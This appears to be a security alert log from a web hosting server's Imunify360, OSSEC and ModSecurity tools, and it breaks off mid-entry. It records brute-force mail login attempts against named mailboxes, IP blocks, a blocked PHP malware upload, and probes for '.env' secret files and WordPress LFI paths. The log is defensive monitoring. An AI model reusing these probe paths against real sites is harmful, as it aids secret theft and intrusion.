Jul 25 07:36:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.210.27.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 07:37:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.210.27.53
country_id: 1814991
description:
2026-07-25 07:36:53 dovecot_login authenticator failed for H=([217.24.238.120]) [223.210.27.53]:25182: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.146.129.133
country_id: 1814991
description:
2026-07-25 07:36:35 dovecot_login authenticator failed for H=([84.225.51.158]) [61.146.129.133]:52846: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 07:36:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 07:37:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 07:37:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 07:38:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 07:37:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 07:37:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 07:38:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 07:38:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 07:38:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 07:39:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 07:39:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 07:39:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 07:39:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 07:40:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 07:39:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.117.225.216
country_id: 2077456
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-40.82.117.225.216||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.255.170.48
country_id: 2017370
description:
Jul 25 07:41:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.255.170.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.199.113.26
country_id: 3017382
description:
Jul 25 07:41:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.199.113.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 07:40:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 07:40:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.135.117.245
country_id: 6252001
description:
2026-07-25 07:43:21 dovecot_login authenticator failed for H=107-135-117-245.lightspeed.livnmi.sbcglobal.net ([111.70.23.230]) [107.135.117.245]:29760: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.51.219.26
country_id: 3469034
description:
2026-07-25 07:50:33 dovecot_login authenticator failed for H=([174.64.199.88]) [187.51.219.26]:52061: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.39.130.144
country_id: 1814991
description:
2026-07-25 08:03:45 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [27.39.130.144]:48292: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.29.128.122
country_id: 1814991
description:
2026-07-25 08:04:16 dovecot_login authenticator failed for H=(83-208-70-70.rcc.o2.cz) [60.29.128.122]:59289: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.107.189
country_id: 3469034
description:
2026-07-25 08:04:43 dovecot_login authenticator failed for H=([124.195.255.12]) [186.215.107.189]:45621: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.221.237.112
country_id: 2017370
description:
Jul 25 11:27:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.221.237.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.19
country_id: 1210997
description:
2026-07-25 11:28:08 dovecot_login authenticator failed for H=([203.252.10.5]) [165.101.222.19]:56819: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 11:27:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.225.141
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-27.51.15.225.141||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 11:27:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.221.237.112
country_id: 2017370
description:
2026-07-25 11:27:55 dovecot_login authenticator failed for H=([192.111.138.28]) [95.221.237.112]:58864: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 11:28:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 11:29:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 11:28:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.194.162
country_id: 1269750
description:
Jul 25 11:29:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.194.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.162
country_id: 1269750
description:
2026-07-25 11:29:15 dovecot_login authenticator failed for H=([106.246.89.73]) [128.185.194.162]:59276: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jul 25 11:29:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.186.54.65
country_id: 298795
description:
2026-07-25 11:29:35 dovecot_login authenticator failed for H=([121.202.205.173]) [78.186.54.65]:58848: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 11:29:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 11:29:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul 25 11:30:52 vps kernel: splitlogs[3353572]: segfault at 0 ip 0000154c74aa17c8 sp 00007ffccb3ac380 error 4 in libc-2.28.so[154c74a1c000+1cc000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-25 11:30:58 dovecot_login authenticator failed for H=(17.64.uzpak.uz) [70.91.135.181]:49449: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.91.135.181
country_id: 6252001
description:
Jul 25 11:30:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.91.135.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 143.244.57.121
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-product-download.php||


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 185.213.175.248
country_id: 2510769
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[110] [Remote IP Address]=[185.213.175.248] [Remote Port]=[58450] [Authentication Database]=[mail] [Username]=[billing@elegantautomotives.com] (30/30 failures) (blocked until [Sun Jul 26 06:00:51 2026 UTC/Sun Jul 26 11:30:51 2026 LOCAL])


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 11:30:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 11:31:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-25 11:31:23 dovecot_login authenticator failed for H=([128.185.33.239]) [50.188.204.213]:54451: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.209.184.114
country_id: 1814991
description:
2026-07-25 11:31:25 dovecot_login authenticator failed for H=([211.252.94.26]) [222.209.184.114]:52270: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 11:31:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-31.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.51.231.68
country_id: 2017370
description:
Jul 25 11:31:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.51.231.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.51.231.68
country_id: 2017370
description:
2026-07-25 11:31:53 dovecot_login authenticator failed for H=(h95-155-228-189.cust.bredband2.com) [77.51.231.68]:59512: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 143.244.57.121
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/woocommerce/includes/class-wc-product-download.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.209.184.114
country_id: 1814991
description:
Jul 25 11:31:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.209.184.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.126.207
country_id: 1269750
description:
Jul 25 11:31:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.126.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.188.204.213
country_id: 6252001
description:
Jul 25 11:31:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.188.204.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 143.244.57.121
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/woocommerce/includes/react-admin/emails/html-admin-report-export-download.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jul 25 11:32:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bzab5qs6&v=luqdw||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.57.184.42
country_id: 6252001
description:
Jul 25 11:33:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.57.184.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.7.26.132
country_id: 3469034
description:
Jul 25 11:33:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.7.26.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.244.231
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-33.51.15.244.231||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.245
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-33.149.34.251.245||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 11:34:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 11:33:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 25 11:33:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 11:33:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 140.238.2.250
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-33.140.238.2.250||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 11:33:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:33:25 dovecot_login authenticator failed for H=(RooED5CK) [31.57.184.42]:38404: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.57.184.42
country_id: 6252001
description:
Jul 25 11:34:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.57.184.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:34:25 dovecot_login authenticator failed for H=(hurx4O33ke) [31.57.184.42]:55381: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 31.57.184.42
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[31.57.184.42] [Authentication Database]=[mail] [Username]=[sadiq@metrodigitals.com] (5/5 failures) (blocked until [Sat Jul 25 06:19:23 2026 UTC/Sat Jul 25 11:49:23 2026 LOCAL])


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 11:34:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.234.245
country_id: 1282988
description:
Jul 25 11:34:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.234.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 11:34:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 11:34:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.159.139.206
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-35.51.159.139.206||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:35:23 dovecot_login authenticator failed for H=(mM52l58pio) [31.57.184.42]:11159: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 11:35:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 11:35:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env??=&_=3avzonb6&v=ftld3||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 11:35:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 11:36:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 25 11:36:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 36.77.169.113
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/fefkadirectors/public_html/administrator/index.php||User:fefkadirectors||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.171.211.213
country_id: 2635167
description:
Jul 25 11:36:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.171.211.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.119.50
country_id: 1814991
description:
Jul 25 11:36:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.119.50 has been locked due to Imunify RBL


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 36.77.169.113
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:117948||Sizes:132||Combined size:132||User:fefkadirectors||WPU:||Filename:img_4948.php||Scanned:/tmp//20260725-113617-amRSWRnU06nBsyiQZ0e4ZAAAAUc-file-rA7Fnf||SC:/home/fefkadirectors/public_html/administrator/index.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:36:20 dovecot_login authenticator failed for H=(qklMfcsjt) [31.57.184.42]:31565: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:37:18 dovecot_login authenticator failed for H=(IDRq7x) [31.57.184.42]:6077: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-25 11:37:43 dovecot_login authenticator failed for H=([149.54.62.162]) [175.200.217.128]:34902: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.155.20.250
country_id: 1282988
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/wp-content/uploads/2019/01/s-14.jpg HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 11:37:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.200.217.128
country_id: 1835841
description:
Jul 25 11:37:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.200.217.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.198
country_id: 2328926
description:
2026-07-25 11:37:16 dovecot_login authenticator failed for H=([211.205.53.47]) [41.207.248.198]:43320: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=3ak4dfwo&v=b9fe6||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:37:37 dovecot_login authenticator failed for H=(KlPwwa) [31.57.184.42]:13117: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 11:38:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.212
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-38.62.112.222.212||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
